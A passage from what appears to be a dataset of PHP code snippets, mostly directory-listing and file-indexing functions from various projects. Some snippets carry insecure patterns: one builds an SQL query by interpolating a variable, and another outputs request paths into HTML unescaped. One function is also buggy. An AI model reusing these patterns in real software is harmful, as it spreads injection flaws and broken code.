$file;\n\t\t\t\t$struct_name = null;\n\t\t\t\t\n\t\t\t\t// found tx file\n\t\t\t\tif ( is_file( $abs ) && preg_match( '/^(.+)\\.tx$/', $file, $match ) ) {\n\t\t\t\t\t$struct_name = $prefix. $match[1];\n\t\t\t\t\t$struct_name = preg_replace( '#/index$#', '', $struct_name );\n\t\t\t\t\tif ( ! isset( $struct[ $struct_name ] ) ) {\n\t\t\t\t\t\t$title = $match[1];\n\t\t\t\t\t\t$struct[ $struct_name ] = array(\n\t\t\t\t\t\t\t'title' => $title,\n\t\t\t\t\t\t\t'file'\t=> $abs,\n\t\t\t\t\t\t\t'pos'\t=> 99999,\n\t\t\t\t\t\t\t'sub'\t=> array()\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// found dir -> recurse\n\t\t\t\telseif ( is_dir( $abs ) ) {\n\t\t\t\t\t$title_file = \"$abs/index.tx\";\n\t\t\t\t\t$struct_name = $prefix. $file;\n\t\t\t\t\t$struct[ $struct_name ] = array(\n\t\t\t\t\t\t'title' => $title,\n\t\t\t\t\t\t'file'\t=> $title_file,\n\t\t\t\t\t\t'pos'\t=> 99999,\n\t\t\t\t\t);\n\t\t\t\t\t$struct[ $struct_name ][ 'sub' ]\n\t\t\t\t\t\t= $this->_readDirRecursiv( $abs, $prefix. $file . '/', $seen );\n\t\t\t\t\tif ( isset( $struct[ $struct_name ][ 'sub' ][ $struct_name ] ) )\n\t\t\t\t\t\tunset( $struct[ $struct_name ][ 'sub' ][ $struct_name ] );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// determine title and index\n\t\t\t\tif ( file_exists( $title_file ) && ( $fh = fopen( $title_file, 'r' ) ) !== false ) {\n\t\t\t\t\twhile ( ( $line = fgets( $fh ) ) !== false ) {\n\t\t\t\t\t\tif ( preg_match( '/^###title\\s+(?:(\\d+):\\s*)?([^\\n\\r]+)/ms', $line, $mtitle ) ) {\n\t\t\t\t\t\t\t$struct[ $struct_name ][ 'title' ] = $mtitle[2];\n\t\t\t\t\t\t\tif ( ! @empty( $mtitle[1] ) )\n\t\t\t\t\t\t\t\t$struct[ $struct_name ][ 'pos' ] = $mtitle[1];\n\t\t\t\t\t\t\tfclose( $fh );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir( $dir );\n\t\t}\n\t\t\n\t\treturn $struct;\n\t}", "function directory_profile( $dir ) {\n\tstatic $info = array();\n\tif( is_dir( $dir = rtrim( $dir, \"/\\\\\" ) ) ) {\n\t\tforeach( scandir( $dir) as $item ) {\n\t\t\tif( $item != \".\" && $item != \"..\" ) {\n\t\t\t\t$info['all'][] = $absPath = $dir . DIRECTORY_SEPARATOR . $item;\n\t\t\t\t$stat = stat( $absPath );\n\t\t\t\tswitch( $stat['mode'] & 0170000 ) {\n\t\t\t\t\tcase 0010000: $info['files'][] = $absPath; break;\n\t\t\t\t\tcase 0040000: $info['directories'][] = $absPath; profile( $absPath ); break;\n\t\t\t\t\tcase 0120000: $info['links'][] = $absPath; break;\n\t\t\t\t\tcase 0140000: $info['sockets'][] = $absPath; break;\n\t\t\t\t\tcase 0010000: $info['pipes'][] = $absPath; break;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n //clearstatcache();\n\treturn $info;\n}", "function getPageFiles() // used in admin_pages.php\r\n\r\n{\r\n\r\n\t$directory = \"\";\r\n\r\n\t$pages = glob($directory . \"*.php\");\r\n\r\n\t//print each file name\r\n\r\n\tforeach ($pages as $page){\r\n\r\n\t\t$row[$page] = $page;\r\n\r\n\t}\r\n\r\n\treturn $row;\r\n\r\n}", "function list_files($file_paths, $root_path, $student_class_folder, array $code_exts, array $validation_exts) {\n // Prepare header row\n $output = \"<table>\\n<tr>\";\n $output .= \"<th>Permission</th>\";\n //$output .= \"<th>User</th>\";\n //$output .= \"<th>Group</th>\";\n $output .= \"<th>File</th>\";\n $output .= \"<th>Modify Date</th>\";\n $output .= \"<th>Size</th>\";\n $output .= \"<th>Extra</th>\";\n $output .= \"</tr>\\n\";\n\n foreach ($file_paths as $file_path) {\n $relative_path = substr($file_path, strlen($root_path) + 1);\n // $split = split(\"/\", $relative_path);\n $split = explode(\"/\", $relative_path);\n $filename = $split[count($split) - 1];\n $stat = @stat($file_path);\n\n $output .= '<tr>';\n $output .= '<td>' . perms($stat['mode']) . '</td>';\n //$output .= '<td>' . $stat['uid'] . '</td>';\n //$output .= '<td>' . $stat['gid'] . '</td>';\n // Display the correct link to our files\n if (is_dir($file_path))\n $output .= \"<td><a class=\\\"folder\\\" href=\\\"?folder=$relative_path\\\"\";\n elseif (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $code_exts))\n $output .= \"<td><a class=\\\"code\\\" href=\\\"?file=$relative_path\\\"\";\n else\n $output .= \"<td><a class=\\\"show\\\" target=\\\"_blank\\\" href=\\\"/${student_class_folder}/${relative_path}\\\"\";\n $output .= \">\" . $relative_path . \"</a></td>\"; //. $filename \n\n // Show the date. Depending on the due date color the text\n $ctime = date('Y-m-d H:i:s', $stat['ctime']);\n $mtime = date('Y-m-d H:i:s', $stat['mtime']);\n $output .= \"<td\";\n \n $output .= \">$mtime</td>\";\n\n // Add a cell for the size. Ignore directories\n if (is_dir($file_path))\n $output .= \"<td>&nbsp</td>\";\n else\n $output .= '<td class=\"right\">' . $stat['size'] . '</td>';\n\n // Add a cell for a validation link. Only do it for files we're checking.\n if (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $validation_exts)) {\n $server_name = filter_input(INPUT_SERVER, 'SERVER_NAME');\n $url = \"https://${server_name}/${student_class_folder}/${relative_path}\";\n $output .= \"<td><a target=\\\"_blank\\\" href=\\\"http://validator.w3.org/check?uri=$url\\\">Validate</a></td>\";\n } elseif (is_dir($file_path))\n $output .= \"<td><a class=\\\"code\\\" href=\\\"?files=${relative_path}\\\">View Code</a></td>\";\n\n //$output .= \"<td>&nbsp;</td>\";\n\n $output .= \"</tr>\\n\";\n }\n $output .= \"</table>\\n\";\n\n if (count($file_paths) == 0)\n $output .= \"<p class=\\\"error\\\">There are no files to display</p>\";\n\n return $output;\n}", "public function kiwip_make_list(){\n\t\t\n\t\t/**\n\t\t * - list all directory in types folder\n\t\t * - list all files in the current folder\n\t\t * - create the attributes of the field type\n\t\t * - increment the array for listing\n\t\t */\n\t\tif(is_dir($this->typesDir)){\n\t\t\tif($folder = opendir($this->typesDir)){ //open the directory\n\n\t\t\t\twhile(($file = readdir($folder)) !== false){ //grab subfolder\n\t\t\t\t\tif($file !== '.' AND $file !== '..'){\n\n\t\t\t\t\t\t/* Constrcut the tree structure in the array to store informations */\n\t\t\t\t\t\t$this->fieldtypes[$file]; //increment the general array of fieldtypes\n\n\t\t\t\t\t\tif($subfiles = scandir($this->typesDir.'/'.$file)){\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tforeach($subfiles as $filename){ //loop on each files inside the folder\n\n\t\t\t\t\t\t\t\tif($filename == 'field.php'){\n\t\t\t\t\t\t\t\t\t$field = $file.'/field.php';\n\t\t\t\t\t\t\t\t\t$this->fieldtypes[$file]['field'] = $field; //add information in the array\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif($filename == 'validation.php'){\n\t\t\t\t\t\t\t\t\t$validation = $file.'/validation.php';\n\t\t\t\t\t\t\t\t\t$this->fieldtypes[$file]['validation'] = $validation; //add information in the array\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}//end foreach\n\t\t\t\t\t\t}//end if\n\t\t\t\t\t}//end if\n\t\t\t\t}//end while\n\t\t\t}//end if\n\t\t}//end if\n\n\t\t// $this->debug($this->typesDir); $this->debug($this->fieldtypes); die();\n\t}", "public function filelist($data)\n {\n $data = trim($data);\n if ($data === '') {\n return '';\n }\n $data_arr = explode('|', $data);\n // read directory:\n // MUST exist!\n $path = '';\n if ($this->getTypoScriptFrontendController()->lockFilePath) {\n // Cleaning name..., only relative paths accepted.\n $path = $this->clean_directory($data_arr[0]);\n // See if path starts with lockFilePath, the additional '/' is needed because clean_directory gets rid of it\n $path = GeneralUtility::isFirstPartOfStr($path . '/', $this->getTypoScriptFrontendController()->lockFilePath) ? $path : '';\n }\n if (!$path) {\n return '';\n }\n $items = [\n 'files' => [],\n 'sorting' => []\n ];\n $ext_list = strtolower(GeneralUtility::uniqueList($data_arr[1]));\n $sorting = trim($data_arr[2]);\n // Read dir:\n $d = @dir($path);\n if (is_object($d)) {\n $count = 0;\n while ($entry = $d->read()) {\n if ($entry !== '.' && $entry !== '..') {\n // Because of odd PHP-error where <br />-tag is sometimes placed after a filename!!\n $wholePath = $path . '/' . $entry;\n if (file_exists($wholePath) && filetype($wholePath) === 'file') {\n $info = GeneralUtility::split_fileref($wholePath);\n if (!$ext_list || GeneralUtility::inList($ext_list, $info['fileext'])) {\n $items['files'][] = $info['file'];\n switch ($sorting) {\n case 'name':\n $items['sorting'][] = strtolower($info['file']);\n break;\n case 'size':\n $items['sorting'][] = filesize($wholePath);\n break;\n case 'ext':\n $items['sorting'][] = $info['fileext'];\n break;\n case 'date':\n $items['sorting'][] = filectime($wholePath);\n break;\n case 'mdate':\n $items['sorting'][] = filemtime($wholePath);\n break;\n default:\n $items['sorting'][] = $count;\n }\n $count++;\n }\n }\n }\n }\n $d->close();\n }\n // Sort if required\n if (!empty($items['sorting'])) {\n if (strtolower(trim($data_arr[3])) !== 'r') {\n asort($items['sorting']);\n } else {\n arsort($items['sorting']);\n }\n }\n if (!empty($items['files'])) {\n // Make list\n reset($items['sorting']);\n $fullPath = trim($data_arr[4]);\n $list_arr = [];\n foreach ($items['sorting'] as $key => $v) {\n $list_arr[] = $fullPath ? $path . '/' . $items['files'][$key] : $items['files'][$key];\n }\n return implode(',', $list_arr);\n }\n return '';\n }", "protected function getFilesInDirCreateTestDirectory() {}", "function get_dirs($dir) {\n\n global $DOCDIR;\n\n // Collect files and diretcories in these arrays\n $directories = array();\n $files = array();\n\n // Open the directory\n $handle = @opendir($dir);\n\n // Walk through all names in the directory\n while ($file = @readdir($handle)) {\n\n if (\n (!is_dir($dir.'/' .$file) && !in_array(substr($file, -3), array('xml','ent')) && substr($file, -13) != 'PHPEditBackup' )\n || strpos($file, 'entities.') === 0\n || $file == 'translation.xml'\n || $file == 'README'\n || $file == 'DO_NOT_TRANSLATE'\n || $file == 'rsusi.txt'\n || $file == 'missing-ids.xml'\n || $file == 'license.xml'\n || $file == 'versions.xml'\n ) {\n continue;\n }\n\n if ($file != '.' && $file != '..' && $file != '.svn' && $dir != '/functions') {\n if (is_dir($dir.'/' .$file)) {\n $directories[] = $file;\n } elseif (is_file($dir.'/' .$file)) {\n $files[] = $file;\n }\n }\n\n }\n\n // Close the directory\n @closedir($handle);\n\n // Sort files and directories\n sort($directories);\n sort($files);\n\n // Go through files first\n foreach ($files as $file) {\n change_revision($dir.$file);\n }\n\n // Then go through subdirectories\n foreach ($directories as $file) {\n get_dirs($dir.$file.'/');\n }\n\n}", "public function kiwip_make_list(){\n\t\t\n\t\t/**\n\t\t * - list all directory in scripts folder\n\t\t * - list all files in the current folder\n\t\t * - create the attributes of the shortcode\n\t\t * - increment the array for listing\n\t\t */\n\t\tif(is_dir($this->scriptsDir)){\n\t\t\tif($folder = opendir($this->scriptsDir)){ //open the directory\n\n\t\t\t\t$i = 0; //increment\n\t\t\t\twhile(($file = readdir($folder)) !== false){ //grab subfolder\n\t\t\t\t\tif($file !== '.' AND $file !== '..'){\n\n\t\t\t\t\t\t/* Constrcut the tree structure in the array to store informations */\n\t\t\t\t\t\t$this->shortcodes[$i] = array('name' => $file); //increment the general array of shortcode\n\n\t\t\t\t\t\tif($subfiles = scandir($this->scriptsDir.'/'.$file)){\n\t\t\t\t\t\t\t$options = false;\n\t\t\t\t\t\t\t$tinymce = false;\n\t\t\t\t\t\t\t$shortcode = false;\n\n\t\t\t\t\t\t\tforeach($subfiles as $filename){\n\n\t\t\t\t\t\t\t\tif($filename == 'tinymce.js'){\n\t\t\t\t\t\t\t\t\t$tinymce = $file.'/tinymce.js';\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['tinymce'] = $tinymce; //add information in the array\n\t\t\t\t\t\t\t\t\t$tinymce = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif($filename == 'options.php'){\n\t\t\t\t\t\t\t\t\t$options = $file.'/options.php';\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['options'] = $options; //add information in the array\n\t\t\t\t\t\t\t\t\t$options = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif($filename == 'shortcode.php'){\n\t\t\t\t\t\t\t\t\t$shortcode = $file.'/shortcode.php';\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['shortcode'] = $shortcode; //add information in the array\n\t\t\t\t\t\t\t\t\t$shortcode = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif($filename == 'style.css'){\n\t\t\t\t\t\t\t\t\t$stylesheet = $file.'/style.css';\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['stylesheet'] = $stylesheet; //add information in the array\n\t\t\t\t\t\t\t\t\t$stylesheet = true;\n\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t\t * The type are :\n\t\t\t\t\t\t\t\t * - complete+style: tinymce button + shortcode + options + stylesheet\n\t\t\t\t\t\t\t\t * - complete: tinymce button + shortcode + options\n\t\t\t\t\t\t\t\t * - medium: tinymce button + shortcode\n\t\t\t\t\t\t\t\t * - small: shortcode\n\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\tif($tinymce AND $shortcode AND $options AND $stylesheet){\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['type'] = 'complete+stylesheet';\n\t\t\t\t\t\t\t\t}elseif($tinymce AND $shortcode AND $options){\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['type'] = 'complete';\n\t\t\t\t\t\t\t\t}elseif($shortcode AND $tinymce AND !$options){\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['type'] = 'medium';\n\t\t\t\t\t\t\t\t}elseif($shortcode AND !$tinymce AND !$options){\n\t\t\t\t\t\t\t\t\t$this->shortcodes[$i]['type'] = 'small';\n\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t//nothing\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}//end foreach\n\t\t\t\t\t\t}//end if\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}//end if\n\t\t\t\t}//end while\n\t\t\t}//end if\n\t\t}//end if\n\n\t\t// $this->debug($this->shortcodes); die();\n\t}", "private function readFolder($path, $parent, $depth)\n {\n // Remove . and ..\n\n// $files = array_diff(scandir($path), array('.', '..'));\n $files = scandir(($path)) ? array_diff(scandir($path), array('.', '..')) : null;\n\n// $files = scandir($this->path);\n\n if ($this->isDebug) {\n echo '<h2>Contents of ' . $path . '</h2><pre>';\n print_r($files);\n echo '</pre>';\n }\n\n if ($files == null) {\n return;\n }\n\n $count = 0;\n foreach ($files as $file) {\n\n // Instantiate classes and store their filenames and titles in an array\n\n\n $filePath = $path . $file;\n if ($this->isDebug) {\n echo 'readFolder() | filePath = ' . $filePath . '<br>';\n }\n\n if (is_dir($filePath)) {\n if ($this->isDebug) {\n echo $count++ . ' | Site readFolder() | ' . $filePath . ' is a directory with a depth of ' . $depth . '<br>';\n }\n\n switch ($depth) {\n\n // Is a course\n case 0:\n\n // Add the directory path to the courses array\n array_push($this->courses, $this->stripClassNameFromFilePath($filePath));\n\n $this->structure[$parent][$this->stripClassNameFromFilePath($filePath, true)] = array();\n\n break;\n\n // Is a Topic\n case 1:\n\n // Add the directory path to the topics array\n array_push($this->topics, $this->stripClassNameFromFilePath($filePath));\n\n $this->structure['Courses'][$parent][$this->stripClassNameFromFilePath($filePath, true)] = array();\n\n break;\n }\n if ($this->isDebug) {\n echo '<br>$filePath = ' . $filePath . '<hr>';\n }\n\n $this->readFolder($filePath . '/', $this->stripClassNameFromFilePath($filePath, true), $this->directoryLevel + 1);\n } elseif (is_file($filePath)) {\n if ($this->isDebug) {\n echo $count++ . ' | Site readFolder() | ' . $filePath . ' is a file with a depth of ' . $depth . '<br>';\n }\n\n // Break the filePath into an array on the '/'\n $array = explode(\n '/',\n $filePath\n );\n\n $page = $this->stripExtFromFile($array[count($array) - 1]);\n $module = $array[count($array) - 2];\n $course = $array[count($array) - 3];\n $temp = [\n $module,\n $course]\n ;\n $this->allPages[$page] = $temp;\n\n// array_push($this->allPages, $temp);\n\n $className = $this->stripClassNameFromFilePath($filePath);\n\n // Add the file to the modules array\n\n array_push($this->modules, $className);\n\n $this->createNavbarArray($filePath);\n\n $this->modulesAssoc[$className] = $filePath;\n }\n }\n }", "function getallpicindb(&$pic_array, $startdir)\r\n{\r\n global $xoopsDB;\r\n\r\n $sql = \"SELECT filepath, filename \".\r\n \"FROM \".$xoopsDB->prefix(\"xcgal_pictures\").\" \".\r\n \"WHERE filepath LIKE '$startdir%'\";\r\n $result = $xoopsDB->query($sql);\r\n while ($row = $xoopsDB->fetchArray($result)) {\r\n $pic_file = $row['filepath'].$row['filename'];\r\n $pic_array[$pic_file]=1;\r\n }\r\n $xoopsDB->freeRecordSet($result);\r\n}", "function GetDir($filedata, &$options) \n\t\t{\t\t\t\n\t\t\t$format = \"%15s %-19s %-s\\n\";\n\t\t\t\n\t\t\techo \"<html><head><title>Index of \".htmlspecialchars($options['path']).\"</title></head>\\n\";\n\t\t\t \n\t\t\techo \"<h1>Index of \".htmlspecialchars($options['path']).\"</h1>\\n\";\n\t\t\t \n\t\t\techo \"<pre>\";\n\t\t\tprintf($format, \"Size\", \"Last modified\", \"Filename\");\n\t\t\techo \"<hr>\";\n\t\t\t$path_explode = explode(\"/\",$options['path']);\n\t\t\t$path = $path_explode[count($path_explode)-1];\n\t\t\tforeach ($filedata[\"file_list\"] as $key => $value) {\n\t\t\t\t$fullpath = $path.\"/\".$value[\"name\"];\n\t\t $name = htmlspecialchars($value[\"name\"]);\n\t\t printf($format, \n\t\t number_format(filesize($fullpath)),\n\t\t strftime(\"%Y-%m-%d %H:%M:%S\", filemtime($fullpath)), \n\t\t '<a href=\"' . $fullpath . '\">' . $name . '</a>');\n\t\t\t}\n\t\t echo \"</pre>\\n\";\n\t\t\t\n\t\t echo \"</html>\\n\";\n\t\t\n\t\t exit;\n\t\t}", "private function getTestFileList() {\n\t\treturn [\n\t\t\tself::makeFileInfo('a.txt', 4, 2.3 * \\pow(10, 9)),\n\t\t\tself::makeFileInfo('q.txt', 5, 150),\n\t\t\tself::makeFileInfo('subdir2', 87, 128, true),\n\t\t\tself::makeFileInfo('b.txt', 2.2 * \\pow(10, 9), 800),\n\t\t\tself::makeFileInfo('o.txt', 12, 100),\n\t\t\tself::makeFileInfo('subdir', 88, 125, true),\n\t\t];\n\t}", "function parse_directory($files){\n\n foreach ($files as $key => $t_name) {\n if(strpos($t_name, \".src\")) $srcfiles[$key++] = $t_name;\n }\n return $srcfiles;\n }", "protected function createIndex()\n {\n $tree = [];\n\n foreach ($this->classDefinitions as $className => $classInfo) {\n $current = & $tree;\n\n foreach (explode('\\\\', $className) as $part) {\n if (!isset($current[$part])) {\n $current[$part] = [];\n }\n\n $current = & $current[$part];\n }\n }\n\n /**\n * This will be a reference to the $treeOutput closure, so that it can be invoked\n * recursively. A string is used to trick static analysers into thinking this might be\n * callable.\n */\n $treeOutput = '';\n\n $treeOutput = function($item, $fullString = '', $depth = 0) use (&$treeOutput) {\n $output = '';\n\n foreach ($item as $name => $subItems) {\n $fullName = $name;\n\n if ($fullString) {\n $fullName = $fullString . '\\\\' . $name;\n }\n\n $output .= str_repeat(' ', $depth * 4) . '* ' . Generator::classLink($fullName, $name) . \"\\n\";\n $output .= $treeOutput($subItems, $fullName, $depth + 1);\n }\n\n return $output;\n };\n\n return $treeOutput($tree);\n }", "private function loadContent() {\n\t\t$expression =\n\t\t\t'/sunflower-'. // match only right files\n\t\t\t'(\\d+\\.\\d+\\w?)[\\.-](\\d+)'. // version\n\t\t\t'(?:-(\\d)+)?'. // package build number\n\t\t\t'(?:[\\.-](all|any|noarch|i386|amd64))?(?:\\.([\\w\\d]+))?'. // architecture and os\n\t\t\t'(\\.[\\w\\d\\.]+)/iu'; // extension\n\n\t\t// get files from directory\n\t\t$data = array();\n\t\t$files = scandir($this->file_path);\n\t\tforeach ($files as $file_name) {\n\t\t\t$matched = preg_match($expression, $file_name, $matches) == 1;\n\n\t\t\tif ($matched) {\n\t\t\t\t$build = $matches[2];\n\n\t\t\t\t// create storage array for build number\n\t\t\t\tif (!isset($data[$build]))\n\t\t\t\t\t$data[$build] = array();\n\n\t\t\t\t// treat different extensions differently\n\t\t\t\tswitch($matches[6]) {\n\t\t\t\t\tcase '.tgz.sig':\n\t\t\t\t\tcase '.deb.sig':\n\t\t\t\t\tcase '.rpm.sig':\n\t\t\t\t\t\t$key_name = substr($file_name, 0, strlen($file_name) - 4);\n\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$key_name]))\n\t\t\t\t\t\t\t$data[$build][$key_name] = array();\n\n\t\t\t\t\t\t// store signature to file name\n\t\t\t\t\t\t$data[$build][$key_name]['signature'] = url_GetFromFilePath($this->file_path.'/'.$file_name);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase '.tgz.sha256':\n\t\t\t\t\tcase '.deb.sha256':\n\t\t\t\t\tcase '.rpm.sha256':\n\t\t\t\t\t\t$key_name = substr($file_name, 0, strlen($file_name) - 7);\n\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$key_name]))\n\t\t\t\t\t\t\t$data[$build][$key_name] = array();\n\n\t\t\t\t\t\t// store signature to file name\n\t\t\t\t\t\t$data[$build][$key_name]['hash'] = file_get_contents($this->file_path.'/'.$file_name);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t// make sure storage array exists\n\t\t\t\t\t\tif (!isset($data[$build][$file_name]))\n\t\t\t\t\t\t\t$data[$build][$file_name] = array();\n\n\t\t\t\t\t\t// get storage array for easier access\n\t\t\t\t\t\t$file_data = $data[$build][$file_name];\n\n\t\t\t\t\t\t// populate parameters\n\t\t\t\t\t\t$file_data['url'] = url_GetFromFilePath($this->file_path.'/'.$file_name);\n\t\t\t\t\t\t$file_data['version'] = $matches[1];\n\t\t\t\t\t\t$file_data['build'] = $matches[2];\n\t\t\t\t\t\t$file_data['package_build'] = $matches[3];\n\t\t\t\t\t\t$file_data['architecture'] = $matches[4];\n\t\t\t\t\t\t$file_data['platform'] = $matches[5];\n\t\t\t\t\t\t$file_data['extension'] = $matches[6];\n\n\t\t\t\t\t\t// store data array back to main array\n\t\t\t\t\t\t$data[$build][$file_name] = $file_data;\n\n\t\t\t\t\t\t// store version to reference list\n\t\t\t\t\t\t$this->version_list[$build] = $matches[1];\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// sort version list\n\t\tkrsort($this->version_list);\n\n\t\t// store parsed data\n\t\t$this->file_list = $data;\n\t}", "public function readFilesInFileadmin() {\n $fileArr = $newArr = array();\n\n // direktes auslesen des Ordners, da evtl. nicht alle Dateien in Tabellen indexiert sind\n $path = GeneralUtility::getIndpEnv('TYPO3_DOCUMENT_ROOT') . GeneralUtility::getIndpEnv('TYPO3_SITE_PATH') . 'fileadmin/';\n $fileList = GeneralUtility::getAllFilesAndFoldersInPath($fileArr, $path);\n\n $pathCount = strlen($path);\n // deployment-Ordner exkludieren\n foreach ($fileList as $filekey => $filevalue) {\n if (strstr($filevalue, '/fileadmin/deployment') == FALSE) {\n $newArr[$filekey] = substr($filevalue, $pathCount);\n }\n }\n\n return $newArr;\n }", "public function run()\n {\n \t$array = array(\n\t \"html\", \"laravel\", \"htmlycss\",\n\t \"apphtml\", \"javascript\", \"php\",\n\t \"jquery\"\n\t\t);\n\n \t$arrayimagenes = array(\n\t \"html5.jpg\", \"laravel.jpg\", \"htmlycss.jpg\",\n\t \"apphtml.jpg\", \"javascript.jpg\", \"php.jpg\",\n\t \"jquery.jpg\"\n\t\t);\n\n\t\tfor($i=0; $i<count($array); $i++){\n\n\t\t\tswitch ($array[$i]) {\n\t\t\t\tcase 'html':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray('nombre'=>'html',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'htmlmixed',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'text/html'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'laravel':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'modelo',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'php',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'php'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'vista',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'htmlmixed',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'text/html'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'controlador',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'php',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'php'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'htmlycss':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'html',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'htmlmixed',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'text/html'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'css',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'css',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'css'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t);\n\t\t\t\tbreak;\n\n\n\t\t\t\tcase 'apphtml':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'html',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'htmlmixed',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'text/html'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'css',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'css',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 